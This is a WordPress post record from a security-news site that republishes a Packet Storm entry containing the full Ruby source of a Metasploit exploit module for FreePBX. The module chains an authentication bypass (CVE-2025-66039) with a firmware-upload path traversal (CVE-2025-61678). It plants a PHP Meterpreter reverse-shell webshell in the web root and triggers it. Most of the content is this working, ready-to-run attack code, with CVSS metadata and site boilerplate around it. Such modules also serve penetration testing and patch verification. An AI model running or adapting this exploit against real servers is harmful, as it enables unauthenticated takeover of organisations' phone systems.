{"id":37957,"date":"2026-01-28T13:46:37","date_gmt":"2026-01-28T13:46:37","guid":{"rendered":"http:\/\/localhost\/?p=37957"},"modified":"2026-01-28T13:46:37","modified_gmt":"2026-01-28T13:46:37","slug":"freepbx-firmware-shell-upload","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=37957","title":{"rendered":"\ud83d\udcc4 FreePBX Firmware Shell Upload_PACKETSTORM:214537"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-28T18:58:47&#8243;,&#8221;description&#8221;:&#8221;FreePBX versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of this Metasploit module. The versions before 16.0.44 and 17.0.23 are vulnerable to&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-01-28T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-01-28T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 FreePBX Firmware Shell Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:214537&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-61678&#8243;,&#8221;CVE-2025-66039&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = ExcellentRanking\\n    \\n      include Exploit::Remote::HttpClient\\n      include Msf::Exploit::FileDropper\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;FreePBX firmware file upload&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              The FreePBX versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of this module. The versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039, while versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61678. The former represents an authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to authenticate as any user. The latter allows unrestricted file uploads via firmware upload, including path traversal. These vulnerabilities allow unauthenticated remote code execution by bypassing authentication and placing a webshell in the web server&#8217;s directory.\\n            },\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;Author&#8217; =\\u003e [\\n              &#8216;Noah King&#8217;,    # research\\n              &#8216;msutovsky-r7&#8217;  # module\\n            ],\\n            &#8216;References&#8217; =\\u003e [\\n              [ &#8216;CVE&#8217;, &#8216;2025-66039&#8217;], # Authentication Bypass\\n              [ &#8216;CVE&#8217;, &#8216;2025-61678&#8217;], # File Upload and Path Traversal\\n              [ &#8216;URL&#8217;, &#8216;https:\/\/horizon3.ai\/attack-research\/the-freepbx-rabbit-hole-cve-2025-66039-and-others\/&#8217;]\\n            ],\\n            &#8216;Platform&#8217; =\\u003e [&#8216;php&#8217;],\\n            &#8216;Targets&#8217; =\\u003e [\\n              [\\n                &#8216;PHP&#8217;,\\n                {\\n                  &#8216;Platform&#8217; =\\u003e &#8216;php&#8217;,\\n                  &#8216;Arch&#8217; =\\u003e ARCH_PHP,\\n                  &#8216;DefaultOptions&#8217; =\\u003e { &#8216;PAYLOAD&#8217; =\\u003e &#8216;php\/meterpreter\/reverse_tcp&#8217; },\\n                  &#8216;Type&#8217; =\\u003e :php\\n                }\\n              ]\\n            ],\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-12-11&#8217;,\\n            &#8216;DefaultTarget&#8217; =\\u003e 0,\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n              &#8216;SideEffects&#8217; =\\u003e [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\\n            }\\n          )\\n        )\\n    \\n        register_options(\\n          [\\n            OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;A valid FreePBX user&#8217;]),\\n          ]\\n        )\\n      end\\n    \\n      def check\\n        res = send_request_cgi({\\n          &#8216;uri&#8217; =\\u003e normalize_uri(&#8216;admin&#8217;, &#8216;config.php&#8217;),\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;\\n        })\\n    \\n        if (res\\u0026.code == 401 \\u0026\\u0026 res.body.include?(&#8216;FreePBX&#8217;)) ||\\n           (res.code == 500)\\n          return CheckCode::Detected(&#8216;The FreePBX with Webserver authentication mode detected&#8217;)\\n        end\\n    \\n        CheckCode::Safe(&#8216;Webserver authorization mode is not set&#8217;)\\n      end\\n    \\n      def get_session_cookie\\n        res = send_request_cgi({\\n          &#8216;uri&#8217; =\\u003e normalize_uri(&#8216;admin&#8217;, &#8216;config.php&#8217;),\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;headers&#8217; =\\u003e { &#8216;Authorization&#8217; =\\u003e basic_auth(datastore[&#8216;USERNAME&#8217;], Rex::Text.rand_text_alphanumeric(6)) },\\n          &#8216;keep_cookies&#8217; =\\u003e true\\n        })\\n    \\n        fail_with(Failure::UnexpectedReply, &#8216;Received unexpected reply&#8217;) unless res\\u0026.code == 401\\n    \\n        fail_with(Failure::NotVulnerable, &#8216;Target might not be vulnerable to authentication bypass&#8217;) unless res.get_cookies\\n      end\\n    \\n      def upload_webshell\\n        @target_payload_file_name = %(#{Rex::Text.rand_text_alphanumeric(8).downcase}.php)\\n        @target_dir = Rex::Text.rand_text_alphanumeric(8).downcase\\n    \\n        form_data = Rex::MIME::Message.new\\n    \\n        form_data.add_part(SecureRandom.uuid, nil, nil, &#8216;form-data; name=\\&#8221;dzuuid\\&#8221;&#8216;)\\n        form_data.add_part(&#8216;0&#8217;, nil, nil, &#8216;form-data; name=\\&#8221;dzchunkindex\\&#8221;&#8216;)\\n        form_data.add_part(payload.encoded.length.to_s, nil, nil, &#8216;form-data; name=\\&#8221;dztotalfilesize\\&#8221;&#8216;)\\n        form_data.add_part(&#8216;2000000&#8217;, nil, nil, &#8216;form-data; name=\\&#8221;dzchunksize\\&#8221;&#8216;)\\n        form_data.add_part(&#8216;1&#8217;, nil, nil, &#8216;form-data; name=\\&#8221;dztotalchunkcount\\&#8221;&#8216;)\\n        form_data.add_part(&#8216;0&#8217;, nil, nil, &#8216;form-data; name=\\&#8221;dzchunkbyteoffset\\&#8221;&#8216;)\\n        form_data.add_part(\\&#8221;..\/..\/..\/var\/www\/html\/#{@target_dir}\\&#8221;, nil, nil, &#8216;form-data; name=\\&#8221;fwbrand\\&#8221;&#8216;)\\n        form_data.add_part(&#8216;1&#8217;, nil, nil, &#8216;form-data; name=\\&#8221;fwmodel\\&#8221;&#8216;)\\n        form_data.add_part(&#8216;1&#8217;, nil, nil, &#8216;form-data; name=\\&#8221;fwversion\\&#8221;&#8216;)\\n        form_data.add_part(payload.encoded, &#8216;application\/octet-stream&#8217;, nil, %(form-data; name=\\&#8221;file\\&#8221;; filename=\\&#8221;#{@target_payload_file_name}\\&#8221;))\\n    \\n        res = send_request_cgi({\\n          &#8216;uri&#8217; =\\u003e normalize_uri(&#8216;admin&#8217;, &#8216;ajax.php&#8217;),\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;headers&#8217; =\\u003e {\\n            &#8216;Authorization&#8217; =\\u003e basic_auth(Rex::Text.rand_text_alphanumeric(6), Rex::Text.rand_text_alphanumeric(6)),\\n            &#8216;Referer&#8217; =\\u003e full_uri(normalize_uri(&#8216;admin&#8217;, &#8216;config.php&#8217;))\\n          },\\n          &#8216;ctype&#8217; =\\u003e \\&#8221;multipart\/form-data; boundary=#{form_data.bound}\\&#8221;,\\n          &#8216;vars_get&#8217; =\\u003e { &#8216;module&#8217; =\\u003e &#8216;endpoint&#8217;, &#8216;command&#8217; =\\u003e &#8216;upload_cust_fw&#8217; },\\n          &#8216;data&#8217; =\\u003e form_data.to_s\\n        })\\n    \\n        fail_with(Failure::PayloadFailed, &#8216;Failed to upload webshell&#8217;) unless res\\u0026.code == 500\\n        register_dir_for_cleanup(\\&#8221;..\/#{@target_dir}\\&#8221;)\\n      end\\n    \\n      def trigger_payload\\n        send_request_cgi({\\n          &#8216;uri&#8217; =\\u003e normalize_uri(@target_dir, @target_payload_file_name),\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;\\n        })\\n      end\\n    \\n      def exploit\\n        print_status(&#8216;Trying to bypass authentication&#8230;&#8217;)\\n        get_session_cookie\\n    \\n        print_good(&#8216;Bypass successful, trying upload webshell&#8230;&#8217;)\\n    \\n        upload_webshell\\n    \\n        print_good(&#8216;Upload successful, triggering&#8230;&#8217;)\\n    \\n        trigger_payload\\n      end\\n    end&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/214537&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.3,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:N\/VI:H\/SI:N\/VA:H\/SA:N&#8221;,&#8221;version&#8221;:&#8221;4.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/214537\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-28T18:58:47&#8243;,&#8221;description&#8221;:&#8221;FreePBX versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of this Metasploit module. The versions&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,55,12,13,53,7,11,5],"class_list":["post-37957","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-93","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 FreePBX Firmware Shell Upload_PACKETSTORM:214537 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=37957\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 FreePBX Firmware Shell Upload_PACKETSTORM:214537 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-01-28T18:58:47&#8243;,&#8221;description&#8221;:&#8221;FreePBX versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of this Metasploit module. The versions...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=37957\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-28T13:46:37+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37957#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37957\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 FreePBX Firmware Shell Upload_PACKETSTORM:214537\",\"datePublished\":\"2026-01-28T13:46:37+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37957\"},\"wordCount\":950,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.3\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=37957#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37957\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37957\",\"name\":\"\ud83d\udcc4 FreePBX Firmware Shell Upload_PACKETSTORM:214537 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-01-28T13:46:37+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37957#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=37957\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37957#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 FreePBX Firmware Shell Upload_PACKETSTORM:214537\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 FreePBX Firmware Shell Upload_PACKETSTORM:214537 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=37957","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 FreePBX Firmware Shell Upload_PACKETSTORM:214537 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-01-28T18:58:47&#8243;,&#8221;description&#8221;:&#8221;FreePBX versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of this Metasploit module. The versions...","og_url":"https:\/\/zero.redgem.net\/?p=37957","og_site_name":"zero redgem","article_published_time":"2026-01-28T13:46:37+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=37957#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=37957"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 FreePBX Firmware Shell Upload_PACKETSTORM:214537","datePublished":"2026-01-28T13:46:37+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=37957"},"wordCount":950,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.3","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=37957#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=37957","url":"https:\/\/zero.redgem.net\/?p=37957","name":"\ud83d\udcc4 FreePBX Firmware Shell Upload_PACKETSTORM:214537 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-01-28T13:46:37+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=37957#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=37957"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=37957#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 FreePBX Firmware Shell Upload_PACKETSTORM:214537"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/37957","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=37957"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/37957\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=37957"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=37957"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=37957"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}